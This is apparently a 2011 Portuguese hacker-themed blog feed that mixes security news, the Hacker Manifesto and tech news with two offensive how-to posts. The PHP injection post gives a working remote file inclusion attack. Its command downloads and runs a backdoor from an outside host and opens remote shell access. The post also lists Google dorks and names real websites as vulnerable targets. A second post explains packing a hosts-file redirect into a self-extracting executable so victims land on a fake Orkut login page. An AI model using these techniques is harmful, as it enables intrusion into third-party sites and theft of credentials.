O analista da Kaspersky afirma que há vantagens para os criminosos usarem o Formspring: o serviço é gratuito, não cai com frequência e, como os comandos estão codificados, ficarão lá por bastante tempo. Mas o novo comportamento do vírus é reflexo de uma tendência. “Os criminosos digitais brasileiros estão percebendo que ter total controle sobre a praga e sobre a máquina da vítima por um longo tempo é mais lucrativo do que simplesmente infectar e roubar os dados apenas uma vez”.

Assolini ainda pensa que, no futuro, os vírus brasileiros também irão formar redes zumbis – uma prática mais comum em outros países da América Latina do que no Brasil.

Procurado pela reportagem, o Formspring ainda não informou se está ciente dos vírus que usam seu serviço como centro de controle. Vale observar, porém, que uso do serviço dessa forma pelos criminosos não torna o uso da rede social mais perigoso – é apenas uma facilidade para os programadores de vírus, que não precisam manter sua própria infraestrutura de controle.

Uso de redes sociais como centro de comando
Pragas brasileiras já usaram outras redes sociais como centro de comando. A prática foi registrada pela primeira vez em 2009 no Twitter, quando perfis maliciosos eram abastecidos com tuites codificados que traziam os comandos para o vírus.

Assim como o trojan que usa o Formspring, essa praga acessava o perfil no Twitter para buscar atualizações e instruções do seu criador.

Fonte: G1

Hacker, Geek, Nerd... Hein?

noreply@blogger.com (Cr4sH) — Mon, 25 Apr 2011 16:26:00 +0000

O artigo foi tirado do GlobalExchange.com, escrito por Christian Matsuy:

- Você trabalha com que?
- Sou Administrador de Rede.
- Hein?
- Trabalho com informática...
- Sério? Você é "hacker"
- "Hacker" Depende... O que é "hacker" pra você?
- São aqueles caras que invadem e ferram os computadores dos outros...
- Ah tá... Sou sim...

Parece piada não é? Mas não é não... Isso acontece direto comigo e com muitos que trabalham com informática.

Mas... Espera um pouco... Isso não está certo...

Você tem noção do que está falando? Sabe mesmo o que é um "hacker"? Pare agora e responda pra você mesmo o que é um "hacker"?

Resolvi escrever este artigo pois, nos dias de hoje, o termo "hacker" ganhou, graças a uma opinião pública predominantemente moldada pela mídia, uma conotação totalmente negativa, que pode nem sempre corresponder à realidade.

O sentido comum que damos a este termo (próprio do final do século XX) nos remete a um universo obscuro, onde impera aquilo que é ilegal, proibido, e onde supostamente encontramos grupos de indivíduos que se dedicam à estranha atividade de invadir a privacidade dos usuários de computador e empresas, cometerem furtos e provocar danos (em vários níveis) através de sistemas.

Este conceito distorcido da realidade levou o termo "hacker" a tornar-se uma denominação geral que reporta a todos os delinqüentes de informática, sem que se leve em conta quaisquer parâmetros de quais sejam os objetivos e as formas de atuação destes indivíduos. Desta forma, tende-se a generalizar os chamados "piratas cibernéticos" com a denominação "hacker", o que criou um clima desconfortável, publicado em vários sites na Internet em forma de protesto por aqueles que afirmam ser os verdadeiros "hackers".

Então, o que é um "Hacker"?
"Hacker" é uma palavra inglesa que não possui tradução exata para a língua portuguesa. O mais próximo que conseguimos chegar ao traduzi-la seria "fuçador" ou "aquele que aprende fuçando". O sentido da palavra é muito próximo a outro termo, "autodidata", mas não é exatamente isto, já que o "fuçador" vai bem mais longe que o autodidata, pois existe a curiosidade em descobrir como dominar tudo, buscando o conhecimento das falhas dos sistemas, depois como usá-las para burlar proteções, e depois como "consertá-las".

No mundo real qualquer um de nós pode ser considerado "hacker" em alguma coisa: Basta pensarmos naquilo que resolvemos por conta própria, quando somos "curiosos" e procuramos entender a origem do problema (até após a leitura de literaturas específicas) e vamos pelo método de tentativa e erro. Nós sabemos que a tentativa e erro é a forma mais demorada para se resolver problemas, mas sem dúvida é a melhor, pois nos leva a compreender processos "ocultos" que seriam desconhecidos ou não seriam ensinados em livros e nem mesmo por outras pessoas.

Portanto ninguém se torna um "hacker" de uma hora pra outra. Quando pensamos que no mundo real muitos deles nunca terão acesso a um computador soa estranho, não? Sim, e vai muito além disso. Talvez "hackers" apenas sejam assim.

"Hackers" são pessoas inquietas que não são facilmente convencidas por argumentos de autoridade sem valor técnico. São céticos sempre prontos a duvidar de qualquer coisa. A simples menção de que algo é impossível para um "hacker" é um poderoso convite para que ele tente fazê-lo.

Eles querem saber mais sobre tudo, mais ainda sobre informática, simplesmente pelo fato de saber... Para muitos, obter "iluminação pessoal". Na nossa sociedade atual construíram um mundo virtual em que a única coisa que faz diferença é sua confiabilidade e sua capacidade técnica.

Esqueça a imagem do "nerd" (ou "geek", termo muito usado em informática para denominar uma pessoa com talento e interesse por tecnologia e programação acima do normal) que você possa criar na sua mente.

É verdade, alguns "hackers" são geeks (como se isso fosse algo ruim), assim como alguns não-"hackers" também são, mas de um modo geral eles são pessoas comuns, que andam como você na rua, e que falam abertamente sobre seus assuntos e interesses (muitas vezes não percebendo que os demais não estão entendendo absolutamente nada).

A diferença é que, nesse mundo, o fato de ser um geek ou não simplesmente não importa, ao contrário da sociedade de costumes, onde essas coisas tendem a ser supervalorizadas.

Filosofia à parte, vou ser mais objetivo:

É simples: Como na matemática ou na física! Você pode decorar aquelas infinitas fórmulas e, se tiver uma boa memória, vai passar em qualquer exame final. Mas você pode também deduzir de onde aquelas fórmulas saíram e o que seus criadores pensaram para chegar até elas.

Talvez você não se saia tão bem nos exames finais, mas quem aprendeu mais? O que decorou ou o que compreendeu?

The Hacker Manifesto - The Mentor (1986)

noreply@blogger.com (Cr4sH) — Mon, 25 Apr 2011 16:24:00 +0000

Mais um foi pego hoje, está em todos os jornais. "Adolescente Preso em Escândalo de Crime de Computador", "Hacker preso depois que o banco foi adulterado" ...

Malditas crianças. Eles são todos iguais.

Mas você em sua psicologia de três ângulos em 1950, sempre dar uma olhada por trás dos olhos de um hacker? Você já se perguntou o que o fazia, o que as forças lhe formam, o que pode ter moldado a ele?

Eu sou um hacker entrando no meu mundo ...

O meu é um mundo que começa na escola ... Eu sou mais esperto que a maioria dos outros garotos, alem de esta bosta que nos ensinam me chateia ...

Malditos fracassados. Eles são todos iguais.

No ensino médio e no ensino fundamental, eu ouvi os professores explicarem pela qüinquagésima vez como reduzir uma fração. Eu entendo isso. "Não, Sra. Smith, eu não mostrei o meu trabalho. Eu fiz isso na minha cabeça ..."

Maldito garoto. Provavelmente copiou. Eles são todos iguais.

Eu fiz uma descoberta hoje. Eu encontrei um computador. Espere um segundo, isso é legal. Ele faz o que eu quero. Se ele comete um erro, é porque eu estraguei isto. Não porque não gosta de mim ... Ou se sente ameaçado por mim ... Ou pensa que eu sou inteligente ... Ou não gosta de ensinar e não deveria estar aqui ...

Maldito garoto. Tudo que ele faz é jogar. Eles são todos iguais.

E então aconteceu ... uma porta aberta para um mundo ... correndo pela linha telefônica como heroína pelas veias de um viciado, uma pulsação eletrônica é enviada, um refúgio para a incompetência do dia-a-dia é procurado ... uma placa foi encontrada. "Este é ... este é o meu lugar ..."

Eu sei que todos aqui ... mesmo se eu nunca conheci eles, nunca conversei com eles, nunca pode ouvi-los novamente ... Sei que todos vocês ...

Maldito garoto. Amarrando-se a linha telefônica novamente. Eles são todos iguais ...

Pode apostar que somos todos iguais ... temos sido alimentados com colher de comida de bebê na escola quando nossa fome é de bife ... os pedaços de carne que você deixou passar foi pre-mastigado e sem gosto. Nós fomos dominados por sádicos ou ignorados pelo apático. Os poucos que tiveram algo a ensinar os alunos dispostos nos encontraram, mas esses poucos são como gotas de água no deserto.

Este é nosso mundo agora ... o mundo do elétron e do switch, a beleza do baud. Nós fazemos uso de um serviço já existente sem pagar por aquilo que poderia ser baratíssimo se não fosse usado por gulosos aproveitadores, e vocês nos chamam de criminosos. Nós exploramos ... e vocês nos chamam de criminosos. Nós buscamos por conhecimento ... e vocês nos chamam de criminosos. Nós existimos sem cor, sem nacionalidade, sem preconceito religioso ... e vocês nos chamam de criminosos. Você constrói bombas atômicas, vocês fazem guerras, você assassina, engana, e mentem para nós e tentam nos fazer acreditar que é para nosso próprio bem, contudo nós somos os criminosos.

Sim, eu sou um criminoso. Meu crime é a curiosidade. Meu crime é julgar as pessoas pelo que elas dizem e pensam, não como eles se parecem. Meu crime é ser mais inteligente que você, algo que você nunca vai me perdoar.

Eu sou um hacker, e este é meu manifesto. Você pode parar este indivíduo, mas você não pode parar todos nós ... afinal, somos todos iguais.

O Mentor, Escrito em 8 de janeiro de 1986

FBI consegue autorização para desativar vírus em PCs de vítimas

noreply@blogger.com (Cr4sH) — Mon, 18 Apr 2011 18:04:00 +0000

A justiça norte-americana concedeu ao FBI uma autorização para atuar diretamente nos computadores das vítimas de uma rede zumbi conhecida como Coreflood. A autorização permite à polícia criar um novo servidor de Comando e Controle (C&C) que irá enviar aos sistemas infectados uma ordem para desativar a praga, efetivamente impedindo sua operação, pelo menos até reiniciar o PC.

Esta é apenas a segunda ação do gênero no mundo. A primeira ocorreu na Holanda, quando a polícia colocou nos PCs das vítimas uma página informando que o computador estava infectado. Na ocasião, a ação, que foi contra a rede zumbi conhecida como Bredolab, gerou polêmica – especialistas questionavam a autoridade do Estado para agir diretamente sobre os sistemas das vítimas, sem o consentimento das mesmas.

O mesmo tipo de questionamento está se fazendo agora. Mas a decisão que permite ao FBI enviar os comandos aos vírus também limita a operação aos computadores cuja localização “pode ser razoavelmente determinada como sendo os Estados Unidos”. Isso significa que nada vai mudar para os brasileiros infectados, por exemplo.

“O caso e a ordem são muito interessantes porque demonstram limitações de jurisdição”, comenta o advogado especializado em direito digital Marcel Leonardi. “Do ponto de vista prático, seria muito bom se mundialmente fosse possível alcançar todos os computadores e desativar a praga, mas isso, de fato, poderia ser visto como algo excessivo por não obedecer à soberania dos outros países”, explica.

Leonardi afirma que uma ação semelhante seria possível no Brasil, desde que também seja limitada aos computadores em território nacional. No Brasil, no entanto, os vírus mais comuns são ladrões de senha e a maioria carece de um centro de controle que pudesse ser usado para essas ações.

Para o pesquisador de segurança Ronaldo Castro de Vasconcellos, a ação é bem-vinda. “Ter uma máquina infectada deixou de ser uma questão meramente de desempenho ou de dados perdidos.

Deixando de lado analogias bobas com ciberguerra, de alguns anos para cá, uma máquina infectada ganhou capacidade ofensiva, como juntar-se a um ataque distribuído (DDoS) com motivações comerciais ou ideológicas, por exemplo”, afirma Vasconcellos.

Para o pesquisador, desde que a polícia tenha obtido uma ordem judicial para realizar a tarefa e que o comando enviado às máquinas infectadas se limite ao proposto – desativar o vírus – não há problema.

Há quem questione, porém, argumentando a existência de fatores imprevisíveis que podem fazer com que a desativação do vírus seja nociva ao computador. No entanto, a maioria dos bots que formam as redes zumbis – que permitem ao criminoso controlar todas as máquinas – tem, sim, uma função de autodestruição ou semelhante que muitas vezes não causa danos ao computador e é completamente funcional. Há, porém, funções de autodestruição que servem como “queima de arquivo”, eliminando todos os dados possíveis do disco rígido.

O Coreflood, no entanto, não parece ter essas características. Acredita-se que, em seus 10 anos de operação, o vírus e seus derivados tenham infectado mais de dois milhões de computadores, a maioria deles nos Estados Unidos, e realizado fraudes cujos valores somam US$ 100 milhões.

Polêmica e jurisdição

O caso destaca as limitações do atual sistema judiciário em lidar com problemas cada vez mais globais de forma local, embora também sirva como história de sucesso para novas operações no futuro.

As ações de redes zumbis são globais – um computador infectado no Brasil pode ser usado para um ataque a qualquer outro país do mundo, ou servir como escudo para o verdadeiro criminoso, complicando a realização de investigações – que precisam percorrer diferentes legislações.

No entanto, é pouco provável que isso mude em breve – a internet não parece ter criado nos países a consciência da cooperação, mas sim elevado discussões sobre soberania e o medo de que leis consideradas absurdas em outros países possam vir a valer mundialmente caso essa cooperação seja realizada, ao ponto que mesmo as ações mais bem intencionadas precisam ter seu alcance limitado.

Novo Domínio '.xxx' em funcionamento

noreply@blogger.com (Cr4sH) — Mon, 18 Apr 2011 18:02:00 +0000

O domínio de internet "xxx” foi disponibilizado para registro de sites na sexta-feira (15), quase 11 anos depois que a extensão foi primeiramente proposta. Segundo o jornal “Wall Street Journal”, três sites já foram registrados com o novo domínio: “xxx.xxx”, “sex.xxx” e “porn.xxx”. O primeiro site “.xxx” começou a funcionar a partir da meia-noite de sábado (16).

Conforme o site "The Register", a empresa por trás do domínio ".xxx", ICM Registry, mudou o seu site corporativo para “icm.xxx” e “icmregistry.xxx”. O uso do ".xxx" é exclusivo para sites de conteúdo sexual explícito, afirmou o ICANN, órgão internacional regulador de endereços na internet.

O preço para registrar um site com domínio “.xxx” é de US$ 60 por ano, o que gerou polêmico entre sites pornográficos, que pagavam taxas de US$ 10 para ter o domínio “.com”. No entanto, o ICANN afirma ter recebido “pré-reservas” de 600 mil nomes de sites exclusivos, tornando o “.xxx” um potencial negócio de US$ 30 milhões em seu primeiro ano, afirmou o "The Register".

Baixar arquivos a 105 Mbps ? - Sonho distante para nós Brasileiros

noreply@blogger.com (Cr4sH) — Mon, 18 Apr 2011 14:50:00 +0000

A Comcast Corporation, empresa de telecomunicação e entretenimento norte-americana, anunciou ontem (14) o lançamento oficial do Extreme 105 – serviço de acesso à internet de banda larga que disponibilizará 105 Mbps de velocidade em download e 10 Mbps para upload.

O pacote de conexão será comercializado, neste primeiro ano, por US$ 105 mensais. A organização começará implantando a rede nas regiões que são os seus maiores mercados. Entre as áreas contempladas, estão São Francisco, Seattle, Portland, Denver, Chicago, Miami, Washington, Filadélfia e boa parte de Boston.

A velocidade de download oferecida é muito superior à das redes brasileiras, que em média ficam próximas a 2 Mbps. Com a conexão da Comcast é possível baixar vídeos de alta definição em poucos minutos ou segundos, dependendo do tamanho do arquivo.

"Com isso, estamos alimentando a casa digital do futuro, com famílias inteiras usando vários dispositivos – computadores portáteis, consoles de jogos, comprimidos, smartphones –, permitindo que todos possam tirar proveito da alta largura de banda em aplicações simultaneamente e garantindo que cada um tenha uma ótima experiência online", comentou Cathy Avgiris, vice-presidente e gerente de comunicação e serviços de dados da empresa.

Fonte: Baixaki

O Fim das Dúvidas sobre PHP injection

noreply@blogger.com (Cr4sH) — Thu, 14 Apr 2011 17:56:00 +0000

Bom, muita gente tem duvidas sobre PHP Injection, provavelmente a vulnerabilidade mais comum entre defacers/owners.
A vulnerabilidade acontece por desconhecimento do webmaster, ou por distração, eles colocam 'includes' para ajudar na criação do seu site sem fazer nenhuma verificação das 'strings'
Um exemplo de um site vulneravel, com 3 partes em uma tabela:

include('topo.php');
include('menu.php');
include($page);

Existem várias strings, a mais comum é page..
Então um endereço ficticio: http://www.alvo.com.br/index.php?page=novidades.php
Neste exemplo ele carregaria a página novidades.php do site.. Se ela for vulneravel dá para 'injetar' páginas maliciosas que executam comandos na maquina que roda o site (por isso o nome PHP Injection)

Estarei usando esse script como referencia (chamado de cmd):

http://kmzrox.by.ru/cmd.gif?&cmd=ls
Obviamente você tentaria: http://www.alvo.com.br/index.php?page=h ... if?&cmd=ls
Ops! Se a página for vulneravel ela vai carregar! Se ela funcionar e não estiver em safe mode (uma opção do php.ini) vai listar os arquivos do site (comando ls).
Não é só isso, a partir daqui você usa a sua criatividade, rodar backdoor para ter acesso remoto (por telnet/putty), pacotar pessoas e servers, configurar psybnc, etc.. Só precisará saber alguns comandos de Linux/FreeBSD/SunOS..

Backdoor: kmzrox.by.ru/r0nin
Para usar coloque no 'cmd' cd /tmp;wget kmzrox.by.ru/r0nin;chmod 777 r0nin;./r0nin
entra na pasta tmp, baixa a backdoor (exploit), coloca permissão para o arquivo e roda ele
Por exemplo: http://www.alvo.com.br/index.php?page=h ... in;./r0nin

Se tudo ocorrer bem e não tiver firewall agora vá iniciar > executar > telnet http://www.alvo.com.br 1666, pronto, você está na maquina, enjoy! :~)

Para procurar no google as páginas separei uma lista de chaves, lembrando que você pode usar inurl:".pt" (escolhendo a classe do dominio) para procurar páginas somente de um país.

allinurl:".php?page="
allinurl:".php?inc="
allinurl:".php?body="
allinurl:".php?main="
allinurl:".php?pag="
allinurl:".php?p="
allinurl:".php?content="
allinurl:".php?cont="
allinurl:".php?c="
allinurl:".php?meio="
allinurl:".php?x="
allinurl:".php?cat="
allinurl:".php?site="
allinurl:".php?m="
allinurl:".php?do="
allinurl:".php?x="
allinurl:".php?content="
allinurl:".php?pagina="
allinurl:".php?root="
allinurl:".php?include="
allinurl:".php?open="
allinurl:".php?visualizar="
allinurl:".php?conf="

Achará varios sites, a maioria no padrão:

http://www.interreg3c.net/sixcms/list.php?page=home_en
http://www.ourdocuments.gov/content.php?page=milestone
http://www.safer-networking.org/index.php?page=mirrors
http://www.serviceandinclusion.org/inde ... e=nat_conf

Agora é simples, você tem os sites pra procurar e uma cmd, agora é só ir de página em página substituindo os valores da string page para o cmd que vai usar :}
Você pode utilizar exploits para tentar conseguir root (super user) na máquina, assim ter permissão para fazer TUDO com os sites que estão dentro dela, apagar todos os logs, etc.
Aqui vai uma lista de páginas vulneraveis (depois de ler isso vocês já saberão o que fazer), a maioria está protegida ou com firewall, é só para mostrar o que vai acontecer quando uma página é vulneravel :~)

http://www.imobmarques.com.br/pagina.php?pagina=
http://www.effectingchange.luton.ac.uk/ ... p?content=
http://www.tourtrans.ru/index.php?page=
http://www.iobchody.unas.cz/index.php?page=
http://www.balustrady.cz/index.php?page=
http://www.kubela.iglu.cz/index.php?inc=
http://www.engelking-elektronik.de/index.php?main=valor
http://www.mob.hu/cgi-bin/index.php?main=valor
http://www.medianlg.hu/index.php?site=
http://www.spillo.it/home.php?main=
http://www.fdf-k22.dk/index.php?main=
http://www.astro.up.pt/investigacao/con ... .php?page=
http://www.nyinvestmentproperties.com/index.php?main=
http://www.timetoupgrade.us/index.php?main=
http://www.msgames.msu.ac.th/reading.php?page=
http://www.mobilink.com.tr/index.php?page=
http://www.slh.org.tw/tw/index.php?page=
http://www.climb.idv.tw/index.php?page=
http://www.azsrc.com/index.php?page=

Páginas com passthru() bloqueados, quando não aparece nada na box são ignorados, pode continuar procurando :B

Fonte: Dark

Brincando com o arquivo Host da Vitima

noreply@blogger.com (Cr4sH) — Thu, 14 Apr 2011 17:45:00 +0000

Primeiro vamos a onde esta o arquivo hosts.

Copie e a abra ele em um bloco

embaixo de 127.0.0.1 localhost
adcione o ip da pagina que vc quer direcionar e coloque o endereço da pagina
como no ex:200.176.3.142 http://www.orkut.com

feito isto adcione o arquivo em um winrar

- va na opção sfx
- opções avançadas do sfx

e va prenchendo conforme a imagems

depois e so dar ok
ele vai gerar um executavel em que no propio winrar da a opção de
altera o ícone, mais isto já e outra conversa.

Ao executar ,quando vc digitar o endereço por ex: do orkut
ele vai direcionar para o terra.

Tambem podia redirecionar para a sua fake do orkut ,assim escrevia o endereço verdadeiro e redireçionava para a fake com o endereço verdadeiro hehehe ,para tudo é preçiso imaginação ,pessoal se pensarmos um pouco existe milhares de maneiras de se enganar um utilizador.

Hacker deixa nome e e-mail ao invadir site

noreply@blogger.com (Cr4sH) — Thu, 14 Apr 2011 17:30:00 +0000

O site da Rapid Action Battalion (RAB), uma tropa de elite anticrime e antiterror do governo de Bangladesh, foi invadido no dia 5 deste mês por Shahee Mirza, hacker que protestou contra a falta de recursos para o desenvolvimento da tecnologia no país.

Ele e outros 3 comparsas foram presos em menos de 24 horas porque Mirza deixou seu nome e e-mail na página.

Serviço de blog gratuito Wordpress sofre invasão de hackers

noreply@blogger.com (Cr4sH) — Thu, 14 Apr 2011 17:28:00 +0000

Invasores conseguiram acesso total a “vários servidores” do serviço de blogs Wordpress, de acordo com um comunicado escrito por Matt Mullenweg, responsável pelo serviço. “Potencialmente qualquer coisa nesses servidores pode ter sido revelada”, escreveu. A Automattic, que opera o serviço, ainda está investigando como a invasão ocorreu e quais dados podem ter sido revelados, mas afirma já ter tomado medidas para prevenir novos incidentes.

Nas palavras Mullenweg, os atacantes conseguiram “acesso root”. “Root” é o nome do usuário administrador de sistemas Unix, normalmente usado em servidores, e é capaz de realizar qualquer tarefa no sistema.

De acordo com as estatísticas do próprio Wordpress.com, o serviço hospeda 19 milhões de blogs.

Códigos do software usado no site teriam sido expostos. Boa parte do Wordpress é código aberto e está disponível para download na internet, mas códigos próprios do Wordpress, que Mullenweg disse serem “sensíveis”, também foram revelados. Códigos de parceiros do WordPress.com também estariam comprometidos.

O site não ofereceu sugestões a seus usuários, além de “sempre usar uma senha forte”, “usar senhas diferentes para sites diferentes” e “se você usou a mesma senha para sites diferentes, troque para algo mais seguro”.

As recomendações não são claras, mas o tom deixa a entender que senhas de usuários poderiam ter sido reveladas, pelo menos parcialmente. Seria recomendável trocar as senhas do próprio WordPress e de serviços em que o usuário usou a mesma senha do serviço de blogs ou que foram ligados com o serviço.

No início do ano, o serviço de hospedagem de programas de código aberto Sourceforge também sofreu uma invasão semelhante.

Fonte: G1

iPhone 4 estaria espionando usuários

noreply@blogger.com (Cr4sH) — Mon, 11 Apr 2011 17:18:00 +0000

O fórum de discussões da Apple tem recebido relatos de que o FaceTime do iPhone 4 estaria capturando imagens sem o consentimento dos usuários. Segundo reporte de um usuário do gadget, uma foto desconhecida apareceu durante uma chamada no software de videoconferências do aparelho.

“Eu e meu namorado experimentamos o acontecido várias vezes – Quando um de nós chama o outro através do FaceTime, uma imagem antiga aparece congelada na tela, enquanto aquele que recebe a chamada vê apenas uma tela preta. É bastante assustador, porque ele trouxe até fotos de nós trabalhando, onde utilizamos o FaceTime algumas vezes, mas nunca entre nós dois. Não é terrivelmente inconveniente, mas é definitivamente inquietante, já que aparecem imagens de lugares que nós nunca tiramos fotos ou sequer usamos o FaceTime”, comentou uma usuária no mês passado.

O motivo das imagens armazenadas sem o conhecimento dos usuários ainda não foi explicada pela empresa. Não se sabe se as fotografias foram capturadas intencionalmente, devido a alguma falha no sistema operacional ou apenas como consequência do buffer de chamadas anteriores. De acordo com o relato, as figuras são armazenadas apenas no dispositivo, não sendo compartilhadas com outros equipamentos ou serviços.

Padre diz que hackers estão em missão divina

noreply@blogger.com (Cr4sH) — Mon, 11 Apr 2011 17:17:00 +0000

O padre jesuíta Antonio Spadaro publicou um texto na revista La Civiltà Cattolica elogiando os hackers, as wikis e os softwares de código aberto. Na publicação, o clérigo diz que as pessoas que trabalham em codificações, aperfeiçoamento de hardware e compartilhamento de conhecimento estão em uma missão divina.

Spadaro explica que não podemos confundir hackers com crackers. "Hackers constroem coisas, crackers quebram-nas", comentou o autor ao relacionar a cultura e ética hacker com os ensinamentos do cristianismo.

Para o jesuíta, a filosofia hacker é descontraída, porém comprometida, estimula a criatividade e se opõe aos modelos de controle, concorrência e propriedade privada. “A mentalidade hacker implica utilização divertida da inteligência para solucionar problemas, rejeitando o conceito de trabalho repetitivo, pesado e estúpido”, escreveu Antonio Spadaro.

O modelo de compartilhamento de conhecimento impulsionado pela Wikipédia foi outro tema muito abordado pelo clérigo. Segundo ele, esse é um exemplo de rede intelectual que foi capaz de transformar a própria ideia de produção cultural.

"Para criar a maior enciclopédia colaborativa da internet, estima-se que foram gastas cerca de 100 milhões de horas de trabalho intelectual, que é o equivalente ao tempo que os cidadãos dos EUA passam vendo publicidade na TV em um único fim de semana", comentou o padre jesuíta.

Leia mais no Baixaki: http://www.tecmundo.com.br/9533-padre-diz-que-hackers-estao-em-missao-divina.htm#ixzz1JEggJgb9

Vírus no Facebook infecta mais de 60 mil usuários

noreply@blogger.com (Cr4sH) — Mon, 11 Apr 2011 17:16:00 +0000

Para quem possui uma conta no Orkut, a opção “visualizar quem acessou meu perfil” é mais do que conhecida, permitindo a você controlar sua conta e conferir quem é o bisbilhoteiro (ou amigo) que está acessando as informações da página.

Portanto, nada mais comum do que um aplicativo capaz de executar essa mesma opção no Facebook. Todavia, a empresa de segurança Sophos afirma que o serviço, exatamente com o intuito de oferecer o mesmo serviço do Orkut é, na verdade, um vírus que está se alastrando pela rede social.

O aplicativo “Who Views your profile” já infectou mais de 60 mil contas, que recebiam marcações em fotos e eram convidadas a acessar o link do serviço. A mensagem maliciosa era a seguinte: “OMG. I cant believe this actually works! Now you really can see who viewed your profile!” ou, em uma tradução livre “Meu Deus! Eu não acredito que isso realmente funciona! Agora você realmente pode saber quem visualizou seu perfil!”.

Ao fornecer seu login e senha, você deveria ter acesso ao aplicativo e poderia, enfim, conferir quem havia acessado sua página. Ao invés disso, o aplicativo recolhia informações pessoais, espalhando-se também por sua rede de amigos.

Nunca é demais alertar que você deve ter muito cuidado com os links que aparecem em redes sociais, ainda mais aqueles que você não conhece. Além disso, fique de olho no nome do aplicativo, quem usa o programa e qual mensagem aparece em sua Feed de novidades, para não ser vítima desse tipo de golpe. Pelo menos, o link da "página do programa" não está mais disponível no site do Facebook.

Mortal Kombat 9 terá batalhas em equipe

noreply@blogger.com (Cr4sH) — Fri, 08 Apr 2011 18:43:00 +0000

Foi divulgado mais um trailer com novidades do novo Mortal Kombat, que será lançado para Xbox 360 e PlayStation 3 no dia 19 de abril. O vídeo mostra uma nova jogabilidade do game de luta, o chamado Team Match - ou "batalha em equipe". Neste modo, dá para incluir diversos personagens simultaneamente na pancadaria, lutando de dois em dois. No caso, o trailer mostra Kitana, Milena, Sindel e Jade em uma luta eletrizante.

Confira o vídeo!

A Warner Games, desenvolvedora do jogo, já havia divulgado outros vídeos com novidades do Mortal kombat 9. Kratos, o fantasma de Esparta em God Of War, estará disponível no modo "versus" do jogo de luta. Além disso, o Mortal Kombat traz a chamada Challange Tower, modalidade em que jogador terá que cumprir determinadas missões, como lutar com um personagem sem os braços ou passar em testes de sorte e memória, totalizando 300 missões. Outra novidade são os X-Ray Moves - golpe tão violento que dá para ver um Raio X do oponente atingido, avaliando os danos.

Confira os X-Ray Moves de Johnny Cage!

Links encurtados [ Perigo Real ]

noreply@blogger.com (Cr4sH) — Fri, 08 Apr 2011 18:38:00 +0000

Exceto os muito recém-chegados à rede, todo internauta sabe que não deve clicar em anexos ou links que não pediu, que deve desconfiar de mensagens ou sites que prometem vídeos inéditos de um fato muito noticiado (tsunami no Japão, por exemplo), ou cenas íntimas de celebridades. Ainda mais quando para assistir ao vídeo é preciso baixar algo. São estratégias usadas por golpistas para instalar códigos maliciosos no computador ( popularmente chamados “vírus”, para horror dos técnicos), no intuito de roubar informações bancárias e de cartão de crédito ou assumir o controle do seu computador, usá-lo em redes de computadores zumbis (botnets) e aplicar outras fraudes.

Se a mensagem, link, arquivo, vem de um estranho, é praticamente certo tratar-se de falcatrua. Mas e quando vem de um conhecido? Segundo a Symantec, fabricante da linha Norton (programas de segurança), o internauta é menos cuidadoso e tende a confiar no arquivo enviado por uma pessoa conhecida.

Essa é uma das razões para a empresa prever mais ataques com alvos específicos, como sites muito visitados, ou redes sociais. De acordo com a Symantec, os ataques na Web cresceram 93% entre 2009 e 2010(e 42% em dispositivos móveis), impulsionados principalmente pelos encurtadores de URL, sites como bit.ly, migre.me e tantos outros que transformam endereços quilométricos em outros curtinhos. Quando há limitação de espaço, como no Twitter (140 toques), isso é essencial. O problema é: o endereço curto pode mascarar uma ameaça, como um site fraudulento que tentará invadir o computador ou induzir o internauta a permitir a invasão.

Segundo a Symantec, em 2010 foram compartilhados nas redes sociais milhões de links que levavam a fraudes “disfarçados” por encurtadores, o que aumentou significativamente o sucesso dos ataques. Que fazer, então? Manter um antivírus atualizado é a mais básica das recomendações. Há opções gratuitas (AVG, Kaspersky, Avast!), que costumam funcionar melhor em conjunto. Tecnologias da Symantec (Norton Safe Web) e da McAfee (McAfee Site Advisor) há algum tempo verificam de graça se há riscos por trás de um link, mas é preciso estar sempre muito atento antes de clicar.

Dois anos após divulgação, GNOME 3 é lançado para Linux

noreply@blogger.com (Cr4sH) — Fri, 08 Apr 2011 18:31:00 +0000

Depois de mais de dois anos de desenvolvimento e quase uma década após o segundo modelo, a terceira versão de uma das interfaces gráficas mais famosas para Linux foi finalmente lançada. O GNOME 3 já está disponível desde o dia 6 de abril para download no site oficial do produto, que conta com uma lista com todas as novidades e vídeos introdutórios ao produto.

Contando com um visual totalmente reformulado e inúmeras funções adicionais. Mesmo com tantas novidades, o ponto principal do sistema é a simplicidade aliada com a modernização gráfica, resultando em algo inovador, mas que carrega traços de sistemas operacionais de empresas como a Apple.

O que mais chamou a atenção de quem já realizou o download gratuito do produto foi o GNOME Shell, a interface propriamente dita, que deixa a navegação por sistemas Linux ainda mais simples. Mudar de uma janela para outra, manter o foco em uma atividade e iniciar seus programas favoritos ficou ainda mais fácil, por exemplo.

Entre as novidades, divulgadas desde a liberação das primeiras imagens, você vai encontrar uma variedade de aplicativos e utilitários, como um sistema de notificações, um sistema de busca no próprio desktop, uma edição de textos mais dinâmica e tradução para dezenas de idiomas, incluindo português.

Leia mais no Baixaki: http://www.tecmundo.com.br/9506-dois-anos-apos-divulgacao-gnome-3-e-lancado-para-linux.htm#ixzz1IxNfvVSx

Chefe de segurança do Xbox Live tem conta hackeada

noreply@blogger.com (Cr4sH) — Mon, 04 Apr 2011 21:12:00 +0000

Diretor de política e responsável por banir da rede Xbox Live aqueles que trapaceiam em games on-line, Stephen Toulouse postou no Twitter neste domingo (3) que seu domínio pessoal Stepto.com estava comprometido. A informação confirma um vídeo no YouTube que mostra a conta de Toulouse na rede Xbox Live sendo modificada.

O jovem conta no vídeo que usou engenharia social no provedor de hospedagem. Se isso for verdade, ele também obteve o acesso a todos os e-mails de Toulouse, permitindo o roubo da conta Xbox Live.

Antes de ser o chefe da segurança dos games on-line da Microsoft, Toulouse era o diretor de relações públicas do Security Response Center, a equipe responsável pela produção das atualizações do Windows.

O G1 entrou em contato com a Microsoft pedindo mais informações. Até o momento, a empresa não confirmou o ataque. Toulouse já recuperou a titularidade de seu domínio.
Descuido e motivação

O invasor identifica a si mesmo como Predator. No vídeo do YouTube em que descreve o ataque, ele deixa diversas informações suas aparecerem em janelas de mensagens instantâneas e no Facebook. Comentaristas do YouTube postaram o que pode ser o seu endereço residencial.

“Amo quando dizem que as contas do Xbox Live são seguras e que a única maneira de roubá-las é quando a vítima fornece o usuário e a senha. Como se alguém como o Stepto iria simplesmente dar a senha e o usuário para alguém”, escreveu o jovem na descrição do vídeo. “Eu ofereci minha ajuda à Xbox Live, mas eles não quiseram”.

Predator teria sido banido 35 vezes do Xbox Live, o que o motivou a fazer o ataque. Ele diz também que já teria hackeado contas do Xbox Live mediante pagamento, e faz a mesma oferta na descrição do vídeo.

